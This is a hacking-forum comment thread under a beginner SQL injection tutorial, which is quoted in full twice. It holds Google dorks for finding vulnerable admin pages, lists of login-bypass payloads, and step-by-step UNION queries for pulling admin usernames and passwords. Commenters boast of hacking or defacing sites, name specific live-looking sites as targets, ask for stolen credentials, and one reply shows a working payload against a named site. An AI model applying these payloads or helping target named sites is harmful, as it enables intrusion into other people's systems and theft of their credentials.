?rauma - September 17, 2009, 10:04 am

Okay I tried the part one and it takes ages to load.. is it normal?

niels306 - September 17, 2009, 12:45 pm

nice totorial m8 helped me alot

B00M - September 20, 2009, 9:07 am

This tut rocks

thx very much!

boredomist - September 28, 2009, 12:32 pm

Nice tutorial, thanks.

Got two sites, but admin panel didn't let me do anything with them besides change the admin password to "lol" :(

catlover - September 28, 2009, 1:03 pm

gr8 thanks dude. it worked for me

plox22 - September 28, 2009, 11:59 pm

Good tutorial.

Excellent for people who don't wanna just mooch of SQLhelper 2.7.

panoulis - September 29, 2009, 9:30 am

Thanks man nice tut ?

flyby - October 12, 2009, 3:43 am

(Apr 7, 2009 01:22 AM)dan1el Wrote: [\[CITE\]](#) (Apr 2, 2009 02:58 PM)Zw4R Wrote: [\[CITE\]](#) (Feb 9, 2009 02:01 AM)dan1el Wrote: [\[CITE\]](#)

=====

www.xxxx.com/index.php?catid=-1 UNION SELECT

1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--

this should display the table containing the admin username and passwordDaniel Is there any mistake in this sql query?coz your Query for version above 4 working fine for me.but when ever i am tryin this i am getting error.

Quote:then see if you can get the admin panel if you cant then try the admin panel finder script here

http://www.darkc0de.com/c0de/perl/admin_1.2_.txt

where this text file should be used so that we can find Admin panel.can you throw some light regarding this.

Thanks!?!dude if u cant even run a perl program why are you learning sql
start with the basics like telnet hacking
u need 2 know how 2 program the language to hack it
i know php sql and im learning asp i am a webmaster and hacker
this is for all peeps out there!

You have done a great job with this and I have gone over all the comments, I don't see any reference for sites that require an e-mail addy to log in. I shall search here for "telnet hacking", is over my head too. Thanks.

Sp3ke - *October 12, 2009, 5:16 am*

Very nice tutorial, don't think you could have explained it any simpler.

10/10.

Valour - *October 12, 2009, 10:04 pm*

good work champ
post such tutorials always

towerObabel - *October 13, 2009, 3:31 pm*

Nice tutorial!! Thanks!

Forgotton - *October 15, 2009, 8:03 pm*

i would give rep if i new how

benze - *October 17, 2009, 10:58 am*

It's nice !! Cheers.

GameOver* - *October 17, 2009, 12:01 pm*

very good tutorial! i will read it when i have time ;)

soulstoler - *October 18, 2009, 12:40 am*

Thanks, this is great tutorial too :)

imAcarrot - *October 28, 2009, 2:05 pm*

very good tutorial thank you very much! ?

zerokiller91 - *October 28, 2009, 9:36 pm*

cool tutorial !!!
going to try it now !!!
=)

oliver96 - *October 30, 2009, 6:06 am*

Add 'or'=''

It's the best. ;)

k00l - *November 2, 2009, 6:08 am*

great tutorials,pls more

potaie_4u - *November 14, 2009, 10:42 am*

bro nice tutorial ...yeah
Hello,

I have questions for all. Please help me.

How i find for vulnerability from a site ? Because i try to make this and it's not working :

"inurl:index.php?catid="

"inurl:news.php?catid="

"inurl:index.php?id="

"inurl:news.php?id="

I have a friend that he find to broke a website. Also i wanna to make the same job, but it's not work. Please help me.

Who help me...for more we speak on yahoo messenger...PM for id.

Videogamer555 - November 15, 2009, 11:07 pm

Ok in order to find how the URL an HQforums forum looks, I made my own free account and of course am the admin. The URL you type to get to such an HQforums forums is just:
blablabla.hqforums.com

In my case it's bensgaming.hqforums.com

Also bensgaming.hqforums.com/index.php will work

Once there the URL in the browser bar is:

Code `http://bensgaming.hqforums.com/`

The login page is at:

Code `http://bensgaming.hqforums.com/login.php`

Once logged in it looks like:

Code `http://bensgaming.hqforums.com/index.php?sid=f8cadd125a66f211764c19d3bbac24a1`

Then when I click the button to go to the admin panel it asks me to log in again. This time though, the URL for the login page is :

Code

`http://bensgaming.hqforums.com/login.php?redirect=admin/index.php&admin=1&sid=f8cadd125a66f211764c19d3bbac24a1`

When logged in to the admin panel, the URL is:

Code

`http://bensgaming.hqforums.com/admin/index.php?admin=1&sid=f8cadd125a66f211764c19d3bbac24a1`

With this info I should be able to apply one of these SQL injection hacks to hack my own account for testing. However I don't quite see any URLs in the tutorials around here that look even REMOTELY similar to the ones at my forums site. Can someone provide a tutorial on how to hack an HQforums forum with SQL injection (or any technique for that matter that can be performed with simple software from a computer running Windows XP Home Edition with SP3)? Thanks in advance.

Now I did the vulnerability check with:

Code `http://bensgaming.hqforums.com/index.php?catid=1'`

and it returns this error:

Code Forbidden

You don't have permission to access /index.php on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

So I assume it to be vulnerable since it DID return an error. However I don't know how many columns it has in the database, and the technique shown above

Code `http://www.xxxx.com/index.php?catid=1 order by 1-- "no error"`

`http://www.xxxx.com/index.php?catid=1 order by 2-- "no error"`

`http://www.xxxx.com/index.php?catid=1 order by 3-- "no error"`

`http://www.xxxx.com/index.php?catid=1 order by 4-- "no error"`

`http://www.xxxx.com/index.php?catid=1 order by 5-- "error"`

Reveals nothing to me in ANY way. No error occurs at order by 1, 2, 3, 4, or 5. Please help.

Videogamer555 - November 16, 2009, 1:40 am

Are there any SQL hacks or injection attacks that are NOT "union" based?

OKaide - November 18, 2009, 2:21 pm

Everytime, on every SQL-vulnerable website I attempt to exploit, I always get stumped at the UNION SELECT ALL step, because of this error:

The used SELECT statements have a different number of columns

What does this mean? At the moment I am trying to practice on this site that was listed here on these forums for this very purpose. The site is : <http://www.shaadiwaadi.com/index.php?id=26>

I did the column number check step, and it apparently has only 1 column because it returns an error for ORDER BY 2 so that means it has only one column, right?

But when I do UNION SELECT ALL 1 -- all I get is that error... and this always happens on every website. What is the step after that...? Thanks!

iceblitz - November 20, 2009, 3:08 pm

When i union select this message comes up The used SELECT statements have a different number of columns

VeXer - November 21, 2009, 10:28 am

Thanks For Your Help !

Is There a Difference Between MYSQL And SQL ?

SaviorForFreedom - November 22, 2009, 3:16 am

THANK YOU FUCKING MUCCCH!!!

YeAt - November 29, 2009, 6:24 am

Amazing FUCKING tutorial.

Great job broskiee.

WhyIOwne - November 29, 2009, 1:03 pm

I always have problems with the union select thing, i never get a number back?! plz help...

Shahz - November 30, 2009, 5:49 pm

Thanks gonna try this one and the other one...

Tried before didn't worked for me, lets see if re-reading helps.

Diante - December 7, 2009, 12:50 am

(Nov 29, 2009 02:03 PM)WhyIOwne Wrote: [\[CITE\]](#) I always have problems with the union select thing, i never get a number back?! plz help...

Yup, i'm having the same issue.

Apparently, iFail.

? ?

Some help would be appreciated.

Sine - December 8, 2009, 9:41 am

thx nice tut bro

to short

wataah - December 9, 2009, 7:12 pm

its funny/sad how he doesnt have any rep for making this tut

LOl1ds - December 10, 2009, 11:39 am

sometimes dork can't use...???why...

but thx 4 this tutorial.

aju16 - December 19, 2009, 9:29 pm

Thanks for TUT?

sam619q - December 20, 2009, 10:10 pm

U are sayin 'TYPE Type'. Where to Type the codes Exactly?

Mechanism - December 21, 2009, 11:46 am

Thanks for this, great tut, easy to follow.

xermes - December 22, 2009, 3:50 pm

no "into out file" explaining = trash

LagSpike - December 22, 2009, 4:49 pm

nice! =D helped me

[bold]By,
LagSpike[/bold]

Edit:Epic fail Bold

Hyptonix - December 24, 2009, 1:16 am

Nice tut. Even though I'm pretty familiar with SQL injections.. this is a nice refreshment. <3

- Hyptonix

iheartboobs - December 24, 2009, 3:28 pm

i got this on my first try! and it was already hacked by someone else!!! lol

ZzoZ - December 25, 2009, 10:32 am

thanks guyz i hope 2 c more

Diamond3x - January 4, 2010, 10:09 am

Yes.DO POST MORE TUTORIALS LIKE THIS.PLS THANKS NICE TUTORIAL.

Mario - January 4, 2010, 9:26 pm

wow dude thanks that helps alot :)

hacc - January 7, 2010, 4:33 pm

Just hacked a site.

Pretty awesome

ghostwhipper - January 10, 2010, 10:50 pm

i liked that part.. 'what this sql injection is doing : confusing the fuck out of the database till it gives you auth bypass.'

lol

Team Angeldust™ - January 11, 2010, 2:05 am

Anyone got a tip on some eazymode site to hack? Im totally new to this and been trying on many sites now, but i have a hard time hacking the national bank.... no but really, i need some easy site to hack if someone knows one id appreciate it, thanks.

Best Regards, Angeldust

metzntrix89 - January 15, 2010, 1:33 pm

nice 1...great work man...helped

HHHxxx - January 17, 2010, 7:49 am

nebie dats wrong.....

9apples - January 17, 2010, 3:16 pm

great tut, thanks alot

[?rch3r] - January 18, 2010, 8:33 pm

Great Tut a very valued post Thanks

CyberZypsy - January 21, 2010, 8:47 pm

That's so difficult to understand. But yeah I'll try.

MCMD - January 23, 2010, 11:57 am

Its too simple but who can i used on this page

<http://www.z8games.com/>

I alredy try all option and any works, what can i do?????

hazard74 - January 23, 2010, 3:48 pm

Wow...

Good tutorial for beginner like me ^^

Thanks man!!.

vrysleepy - January 25, 2010, 1:27 pm

thanks a lot for this.

i searched on google, found this one page, right?
the user and pass was auto saved, rofl.

gf.

Giving credits to you if i deface it (:

Videogamer555 - January 27, 2010, 12:12 am

(Feb 9, 2009 08:00 AM)Simon Wrote: [\[CITE\]](#) ' or 1=1 --
NOOB you have a space between the 1 and the --
You need it to look like this:
' or 1=1--

vincentbelkin - January 27, 2010, 12:12 am

thanks for the tutorial dude!

Videogamer555 - January 27, 2010, 12:29 am

Can someone tell me which sql injection to type into the password field to login here?
<http://www.hrusa.org/admin/index.php>

Videogamer555 - January 27, 2010, 2:14 am

@Dr_Justin
Who's the chick in your sig?

RRRoooRRR - January 29, 2010, 3:21 pm

No credit given? how self-fish, give credit to avoid plagiarism

Sho0ter - February 2, 2010, 11:56 am

Good job man. nice and well explained tut. i m planning to start learning SQL nowadays

W4R10RD - February 3, 2010, 10:26 am

uhmm nice tutorial thanks

raj_kumar2789 - February 4, 2010, 6:09 am

goo one but its hard to try

pyryoer - February 5, 2010, 12:11 am

Just wondering, if a website has no sql errors, can it successfully be injected?

133720 - February 5, 2010, 7:14 am

very detalil basic for beginner like me

ahmedd16 - February 6, 2010, 10:05 pm

coooooooooool that's wear i wasn't know that

justgore - February 6, 2010, 10:19 pm

Wow this is complicated, if I ever need this done I'll just pay someone.

robife - February 8, 2010, 11:47 am

Help please find this and are here

<http://www.vangol.no/index.php?id=611> union select 1,2,3,4,5,6,7,8,9,10,11,12--

I get 2 and 3 what now (next step)

thanks

Sacrier - February 14, 2010, 2:30 am

Hey can you tell me is this site vulnerable...it has admin log in form right on the site
...<http://www.os-zutibrijeg-zg.skole.hr/>

niiisiis - February 14, 2010, 12:35 pm

(Feb 8, 2010 12:47 PM)robife Wrote: [\[CITE\]](#) Help please find this and are here
<http://www.vangol.no/index.php?id=611> union select 1,2,3,4,5,6,7,8,9,10,11,12--

I get 2 and 3 what now (next step)

thanksNext you start learning more about the database you want access to. For example execute this: Code

<http://www.vangol.no/index.php?id=611%20union%20select%201,@@version,database%28%29,4,5,6,7,8,9,10,11,12-->You now know that this page runs 4.1.22-standard-log and database name is vangol. Good luck!

robotronc3 - February 20, 2010, 1:09 am

i tried all of the injections on a site but they dont work! btw do injections work on authentication popups?

cybr - February 20, 2010, 10:03 am

I was wondering what SQL Injections were. Now I know, thanks! :D

?????-?u??? - February 21, 2010, 1:02 am

alertfx.com is highly exploitable

Joey K - February 21, 2010, 4:34 pm

Nice tutorial man. =]

DkDemon - February 22, 2010, 7:20 am

Great post man! :o

2short

masta11 - February 23, 2010, 1:41 am

thanks for this great info

aldwin - February 27, 2010, 2:04 am

Nice tut man, but i still cant inject a thing. can someone give me a website that are vulnerable. please.....

jdizzle - February 27, 2010, 5:44 pm

i just want to get a facebook password. how does any of this relate to that

Clean - February 27, 2010, 11:12 pm

Hello ,
but how could we patch the sql injection vuln's?

retarDEX - February 28, 2010, 5:28 pm

Ye i just got caught and my proxy details were sent to a security firm :S

Watch what your doing guys

sako - March 2, 2010, 9:50 am

(Feb 14, 2010 01:35 PM)niiisiis Wrote: [\[CITE\]](#) Next you start learning more about the database you want access to. For example execute this: Code
`http://www.vangol.no/index.php?id=611%20union%20select%201,@@version,database%28%29,4,5,6,7,8,9,10,11,12--`You now know that this page runs 4.1.22-standard-log and database name is vangol. Good luck!

sNews v1.3

```
CREATE TABLE articles (  
  id INT PRIMARY KEY AUTO_INCREMENT,  
  title VARCHAR(100) DEFAULT NULL,  
  text TEXT,  
  textlimit INT(5) NOT NULL DEFAULT '0',  
  date DATETIME DEFAULT NULL,  
  category INT(8) NOT NULL DEFAULT '0',  
  position CHAR(3),  
  displaytitle CHAR(3) NOT NULL DEFAULT 'YES',  
  displayinfo CHAR(3) NOT NULL DEFAULT 'YES',  
  commentable VARCHAR(5) NOT NULL,  
  image varchar(30) DEFAULT NULL  
);
```

```
CREATE TABLE categories (  
  id int(8) PRIMARY KEY AUTO_INCREMENT,  
  name varchar(20) NOT NULL,  
  description varchar(50) NOT NULL,  
  published varchar(4) NOT NULL DEFAULT 'YES'  
);
```

```
CREATE TABLE comments (  
  id INT(11) PRIMARY KEY AUTO_INCREMENT,  
  articleid INT(11) DEFAULT '0',  
  name varchar(50) DEFAULT "",  
  comment TEXT,  
  time DATETIME NOT NULL DEFAULT ""  
);
```

Beloved - March 2, 2010, 10:27 pm

im wondering could anyone walk me thru these steps, im not as bright as others in this type of stuff lol. i like to get to the goods. pm or anything.

thanks for reading!

izloo - March 7, 2010, 4:30 am

there is any video tutorial for sql

T0SH1VA - March 7, 2010, 9:49 am

nice tut

txt is 2 short

vandan - March 8, 2010, 12:41 am

I'll use SQL injection But It I can' t Understand
Any One Can Help.....?

MiserAble - March 8, 2010, 9:30 pm

yeah bro nice tutorial

snehal13 - March 14, 2010, 9:25 pm

Nice post man...but i m too much lil kid to get this if u will help me telling all this well i will be very happy bro plz i m a kid so i cant get all this..sorry

Arctix - March 17, 2010, 8:48 pm

+1 , Great job daniel ^^

Air - March 18, 2010, 1:31 pm

Very helpful tutorial, cheers.

treadstone - March 20, 2010, 4:57 am

thank you its really help

Sibbir - March 21, 2010, 1:14 am

'or'1'='1 its not working...

Walexzy3 - March 21, 2010, 7:04 pm

google was just saying forbidden

DmW307 - March 25, 2010, 2:53 pm

Thx for your tuto ! I have just a question :

I have found a vulnerable site, but I don't found the number of columns even if I use "order by 1/*"
or "order by 2/*" , etc.

The message is always the same :

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-20,20' at line 8"

Can you help me plz ?

hacc - March 28, 2010, 9:00 am

if you "order by" a number that is higher than the number of columns will you still get an error?

For example, a site has 5 columns so I should get an error on the 6th one, right? But lets say I don't want to go by ones, so I start at like 2, and then go to like 15. Would I get an error on the 15th? And then I would know less than 15? Or does it have to be exact?

Also, if I get a white screen after I typed ' at the end, does that mean its still vulnerable.

YeAt - March 28, 2010, 1:07 pm

This guy is a boss.

Very nice tutorial, helped me out a lot!

Thank you!

administrator - March 29, 2010, 4:20 am

[[:D]Gr8 work...![:D]Gr8 work...![:D]Gr8 work...!

(Mar 29, 2010 04:20 AM)adminstrator Wrote: [\[CITE\]](#) [[:D]Gr8 work...![:D]Gr8 work...![:D]Gr8 work...!
??

mroe88 - March 29, 2010, 5:47 pm

excellent tutorial keep it up

Towtox - March 30, 2010, 8:01 pm

Sorry i am a newby but can the trace it back to your computer

homer555552 - April 3, 2010, 9:35 am

hi i liked you tutorial and ground something similar on u tube and tired it out on a site and got a warning from the admin which looked rather legal! surely you cant go online and do this when there server can see your ip address? this was actually quoted in there warning. you must hide behind a server or someones wap line as a disguise? also the command prompts you show are great but there are some you can put into goggle and get all kinds of shit like passwords for sites etc im hear to learn programming as well as this and build web sites.

kumaranb - April 3, 2010, 10:49 am

nice tut thanksss.....

AcidCat - April 3, 2010, 11:47 pm

Great tutorial^^

thanks

Dragon Hawk - April 4, 2010, 4:59 am

I got this site

<http://www.hawkingtech.com/products/index.php?CatID=3>

I think it vulnerabe but I m not able to do anything everytime I keep getting sql errors nothing else

R?putation - April 4, 2010, 3:02 pm

Good tutorial

2short

Assassin™ - April 6, 2010, 12:24 am

Love this tutorial.

Great job!

floodpanic - April 6, 2010, 6:48 pm

This tut is quite well done... thank you mate!!!

Let's get dorking!!!

tipledown - April 7, 2010, 10:03 pm

very nice tut :Smile:

Man of honor - April 8, 2010, 12:03 am

why dont you type '1' or '1'

?pic - April 8, 2010, 9:24 am

Thanks, I used this quite alot :)

le@rner - April 13, 2010, 2:35 am

when i try to check its valnuberity it sents me on mybrowser page and says no search is found

3nzo177 - April 13, 2010, 7:21 pm

sweetnesss, im amazed at the initial simplicity in the physical action of this.

killla20123 - April 16, 2010, 8:02 am

Wow nice tutorial although this stuff sounds complicated so you can only find sites where you have to login as someone?

Biohaxard - April 16, 2010, 4:55 pm

Thanks, great job! This is coming in handy.

Jeason - April 19, 2010, 12:03 am

thanks guys i will post more 4 u

U MAD CUZ I RUN XBL? - April 20, 2010, 12:53 pm

We're sorry...

... but your computer or network may be sending automated queries. To protect our users, we can't process your request right now.

i get that when i google a dork it use work untill i get on a site that been hacked already now i get this lol..

killla20123 - April 21, 2010, 5:12 am

Wow never knew this could be so easy

Vajelo - April 21, 2010, 2:33 pm

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in date in query expression
'UserLogin='Admin' and password="" or 0=0 #' and SecurityLevelID=1'.

/AdministratorLogin.asp, line 19

I receive this error after entering " or "a"="a as a password . That means this site is vunerable, right? What do I have to do now? The URL ends at: /AdministratorLogin.asp

manneckaz - April 26, 2010, 12:09 pm

You have done a wonderful Job

Nerv - April 26, 2010, 2:28 pm

(Apr 21, 2010 02:33 PM)Vajelo Wrote: [\[CITE\]](#) Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in date in query expression
'UserLogin='Admin' and password="" or 0=0 #' and SecurityLevelID=1'.

/AdministratorLogin.asp, line 19

I receive this error after entering " or "a"="a as a password . That means this site is vunerable, right? What do I have to do now? The URL ends at: /AdministratorLogin.asp thats mssql injection. if u link me i can hack it and make video 2 teach u just pm me about it

hackazz - April 27, 2010, 2:21 pm

What kind of websites can you hack whit this?
And is this very old? ...
Please tell a wannabe hacker :-)

JanG31 - April 28, 2010, 9:17 am

??nice guide...

DJDarkness - April 28, 2010, 9:26 am

Can someone please help me, I've done it all right up to <http://xxxxx.com/index.php?catid=1> union select 1,2,3,4,5,6,7,8,9,10--, but the names or numbers aren't showing on the page at all, and if I go to "11--" I'll get error, so idk what I am supposed to be doing here.]:

?????? - April 28, 2010, 7:09 pm

(Apr 28, 2010 09:26 AM)DJDarkness Wrote: [\[CITE\]](#) Can someone please help me, I've done it all right up to <http://xxxxx.com/index.php?catid=1> union select 1,2,3,4,5,6,7,8,9,10--, but the names or numbers aren't showing on the page at all, and if I go to "11--" I'll get error, so idk what I am supposed to be doing here.]:
Arn't you from freewebs..?

RANGERogue93 - May 5, 2010, 5:32 am

hey man thanx a tons,your tut made my first hack attempt a succes.i tried the auth bypass on an admin account method & it gave viable results. thanx again...i owe u one bro...

-RC2- - May 5, 2010, 2:57 pm

thanks for the tutorial, tried it out but im having problems, its hard to get to grips with.

ahmedjama - May 5, 2010, 7:43 pm

thats really cool!it really worked out for me, just after i read this topic you wrote, i really hack a website

TickTack - May 7, 2010, 5:07 pm

(Apr 28, 2010 09:26 AM)DJDarkness Wrote: [\[CITE\]](#) Can someone please help me, I've done it all right up to <http://xxxxx.com/index.php?catid=1> union select 1,2,3,4,5,6,7,8,9,10--, but the names or numbers aren't showing on the page at all, and if I go to "11--" I'll get error, so idk what I am supposed to be doing here.]:
Same problem as this guy

riz177 - May 8, 2010, 3:41 am

(Feb 9, 2009 02:01 AM)dan1el Wrote: [\[CITE\]](#)

=====

by dan1el a.k.a \$qL_DoCt0r

Q what is sql injection?

A injecting sql queries into another database or using queries to get auth bypass as an admin.

part 1 : Basic sql injection

Gaining auth bypass on an admin account.

Most sites vulnerable to this are .asp

First we need 2 find a site, start by opening google.

Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect"

There is a large number of google dork for basic sql injection.

here is the best:

"inurl:admin.asp"

"inurl:login/admin.asp"

"inurl:admin/login.asp"

"inurl:adminlogin.asp"

"inurl:adminhome.asp"

"inurl:admin_login.asp"

"inurl:administratorlogin.asp"

"inurl:login/administrator.asp"

"inurl:administrator_login.asp"

Now what to do once we get to our site.

the site should look something like this :

welcome to xxxxxxxxxx administrator panel

username :

password :

so what we do here is in the username we always type "Admin"

and for our password we type our sql injection

here is a list of sql injections

' or '1'=1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

there are many more but these are the best ones that i know of
and what this sql injection is doing : confusing the fuck out of the database till it gives you auth
bypass.

So your input should look like this

username:Admin
password:'or'1='1

So click submit and you'r in
NOTE not all sites are vulnerable.

part 2: injecting sql queries to extract the admin username and password

ok so lets say we have a site :

www.xxxxx.com/index.php?catid=1

there is a list of dork 4 sites lyk this

"inurl:index.php?catid="

"inurl:news.php?catid="

"inurl:index.php?id="

"inurl:news.php?id="

or the best in my view "full credit to qabandi for discovering this"

"inurl:".php?catid=" site:xxx"

So once you have you'r site

www.xxxx.com/index.php?catid=1

now we add a ' to the end of the url

so the site is

www.xxxx.com/index.php?catid=1'

if there is an error of some sort then it is vulnerable
now we need to find the number of columns in the sql database
so we type

www.xxxx.com/index.php?catid=1 order by 1-- "no error"
www.xxxx.com/index.php?catid=1 order by 2-- "no error"
www.xxxx.com/index.php?catid=1 order by 3-- "no error"
www.xxxx.com/index.php?catid=1 order by 4-- "no error"
www.xxxx.com/index.php?catid=1 order by 5-- "error"

so this database has 4 columns because we got an error on 5
on some databases there is 2 columns and on some 200 it varies
so once we have the column number.
we try the union function

www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"

if you see some numbers like 1 2 3 4 on the screen or the column names
it might not show all numbers on the screen but the numbers displayed are the ones you can
replace to extract info from the db
so now we need to info about the db
so lets say the numbers 2 and 4 showed up on the screen
so i will use my query on 2

www.xxxx.com/index.php?catid=1 union select
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
the db type and version will pop up on the screen

if the db version is 4 or lower then to extract the password you will need these queries

www.xxxx.com/index.php?catid=-1 UNION SELECT
1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
this should display the table containing the admin username and password
but if not then you will have to guess the table

so once you have your table "or not"
then type

www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--
where it says admintablename type the table you found with
concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess
then once u have the right table name you should get the administrator password
then just do the same thing but type username instead of password
sometimes the password is hashed and you need to crack it.

then see if you can get the admin panel if you cant then try the admin panel finder script here

http://www.darkc0de.com/c0de/perl/admin_1.2_.txt

now if the database is version 5 or up
type

www.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM
information_schema.tables--

and that will display a list of all the tables
once you have your table name
type the same thing as 4

www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--
then the same with username

but now if it doesnt work far all those things
just tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothing
just play around with those

but sometimes we also need to use the version() or version@@
so sometimes UNION SELECT version (),password,3,4 FROM admintable--
or UNION SELECT version @@,password,3,4 FROM admintable--

well that about wraps up my sql injection tutorial.
you can contact me on
sidthesloth@windowslive.com
only msn me NO EMAILS I HATE THEM
?

Nice one man, which sites you hacked so far?

BladeCNH - May 11, 2010, 6:05 am

Nice one man.Great job.

rubybee6 - May 11, 2010, 9:08 am

nice work

too short

Mr_Cr@zyM - May 12, 2010, 6:24 am

ThNx Man

Good

But For Biggner

Bananatwins - May 12, 2010, 2:19 pm

Nice Tutorial. It really helped me.

Divine Will - May 12, 2010, 10:36 pm

Ive been trying to follow the SQLi tutorials here on the board, but I keep running into a problem when I try using the union/union select/union all select commands.

<http://relatos.escalofrio.com/cat.php?ID=37>

That site is supposed to be vulnerable, but and I have found that it has 1 column. When I try to use:
<http://relatos.escalofrio.com/cat.php?ID=37> union select 1--

it just gives an error.

All the sites I've tried have done this. Idk what Im doing wrong..

universy - May 13, 2010, 2:36 am

thank you man

it is a great tuto

keep going

bigboobs7x4 - May 15, 2010, 2:14 am

so i tried this tutorial out one some pay sites, like <http://www.jabcomix.com/login.shtml>

but it also has a word signature...

is there a better way to hack pay sites ?

higo9001 - May 16, 2010, 7:14 am

the sql injection didn't work ..

anandjolly - May 17, 2010, 1:35 am

nice one.....

TipZ - May 17, 2010, 9:15 am

(May 12, 2010 10:36 PM)Divine Will Wrote: [\[CITE\]](#) Ive been trying to follow the SQLi tutorials here on the board, but I keep running into a problem when I try using the union/union select/union all select commands.

<http://relatos.escalofrio.com/cat.php?ID=37>

That site is supposed to be vulnerable, but and I have found that it has 1 column. When I try to use: <http://relatos.escalofrio.com/cat.php?ID=37> union select 1--

it just gives an error.

All the sites I've tried have done this. Idk what Im doing wrong..
here you go m8 :)

cat.php?ID=-37 UNION SELECT 1,2,3,4,5,6,7,table_name,9,10,11,12,13,14,15 FROM
information_schema.tables--

khan2abdul - May 18, 2010, 8:59 pm

nice tutorial but i am unable to bypass cpanel of many site by your given sql password

DemonFiren - May 26, 2010, 1:13 am

A few errors are there.

First, putting the ' after an address does NOT indicate whether it's vulnerable. Try it with
+order+by+6753 instead.

Second, the +union+select+all will only do the job if you write, for instance, cat.php?ID=-31.

zuka4all - May 28, 2010, 5:31 am

Pls can you give me user name Password for http://dealers.mtnonline.com/admin_login.aspx all
whati tried prove abortive, san.law45@yahoo.com is my email addressi would be glad if someone
can help

Pls can you give me user name and Password for http://dealers.mtnonline.com/admin_login.aspx
all whati tried prove abortive, san.law45@yahoo.com is my email addressi would be glad if someone
can help

__Crypt__ - May 28, 2010, 10:18 am

Looks nice but I would like need a year to lean dis shat!

justask - May 30, 2010, 6:36 am

Ok the credit for this tutorial goes to"ASHRITH&beyond" the real creator of this tutorial .No offence
"dan1el" but you should see ["THIS"](#)

Or you want see this :

Code Detailed Basic and Full SQL Injection Tutorial ==
by ASHRITH&beyond

Q what is sql injection?

A injecting sql queries into another database or using queries to get auth bypass as an admin.

part 1 : Basic sql injection

Gaining auth bypass on an admin account.

Most sites vulnerable to this are .asp

First we need 2 find a site, start by opening google.

Now we type our dork: \"defenition of dork\" 'a search entry for a certain type of site/exploit .ect\"

There is a large number of google dork for basic sql injection.

here is the best:

\"inurl:admin.asp\"

\"inurl:login/admin.asp\"

\"inurl:admin/login.asp\"

\"inurl:adminlogin.asp\"

\"inurl:adminhome.asp\"

\"inurl:admin_login.asp\"

\"inurl:administratorlogin.asp\"

\"inurl:login/administrator.asp\"

\"inurl:administrator_login.asp\"

Now what to do once we get to our site.

the site should look something like this :

welcome to xx administrator panel

username :

password :

so what we do here is in the username we always type \"Admin\"

and for our password we type our sql injection

here is a list of sql injections

' or '1'='1

' or 'x'='x

' or 0=0 —

\" or 0=0 —

or 0=0 —

' or 0=0 #

\" or 0=0 #

or 0=0 #

' or 'x'='x

\" or \"x\"=\"x

') or ('x'='x

' or 1=1—

\ " or 1=1—

or 1=1—

' or a=a—

\ " or \"a\"=\"a

) or ('a='a

\ ") or (\ "a\"=\"a

hi\ " or \"a\"=\"a

hi\ " or 1=1 —

hi' or 1=1 —

'or'1=1'

there are many more but these are the best ones that i know of
and what this sql injection is doing : confusing the hell out of the database till it gives you auth
bypass.

So your input should look like this

username:Admin
password:'or'1='1

So click submit and you'r in
NOTE not all sites are vulnerable.

part 2: injecting sql queries to extract the admin username and password

example:www.xx.com/index.php?catidZ=1

ok so lets say we have a site :

http://www.xx.com/index.php?catid=1

there is a list of dork 4 sites lyk this

\ "inurl:index.php?catid=\"

\ "inurl:news.php?catid=\"

\ "inurl:index.php?id=\"

\ "inurl:news.php?id=\"

or the best in my view \"full credit to qabandi for discovering this\"

\ "inurl:'.php?catid=\" site:xxx\"

So once you have you'r site

http://www.xxxx.com/index.php?catid=1

now we add a ' to the end of the url

so the site is

http://www.xxxx.com/index.php?.....atid=1';

if there is an error of some sort then it is vulnerable

now we need to find the number of columns in the sql database
so we type

`http://www.xxxx.com/index.php?catid=1 order by 1-- \"no error\"`

`http://www.xxxx.com/index.php?catid=1 order by 2-- \"no error\"`

`http://www.xxxx.com/index.php?catid=1 order by 3-- \"no error\"`

`http://www.xxxx.com/index.php?catid=1 order by 4-- \"no error\"`

`http://www.xxxx.com/index.php?catid=1 order by 5-- \"error\"`

so this database has 4 columns because we got an error on 5
on some databases there is 2 columns and on some 200 it varies
so once we have the column number.

we try the union function

`http://www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- \"or whatever number of columns are in the database\"`

if you see some numbers like 1 2 3 4 on the screen or the column names

it might not show all numbers on the screen but the numbers displayed are the ones you can
replace to extract info from the db

so now we need to info about the db

so lets say the numbers 2 and 4 showed up on the screen

so i will use my query on 2

`http://www.xxxx.com/index.php?catid=1 union select`

`1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--`

the db type and version will pop up on the screen

if the db version is 4 or lower then to extract the password you will need these queries

`http://www.xxxx.com/index.php?catid=-1 UNION SELECT`

`1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from`

`information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--`

this should display the table containing the admin username and password

but if not then you will have to guess the table

so once you have your table \"or not\"

then type

`http://www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--`

where it says admintablename type the table you found with

`concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from`

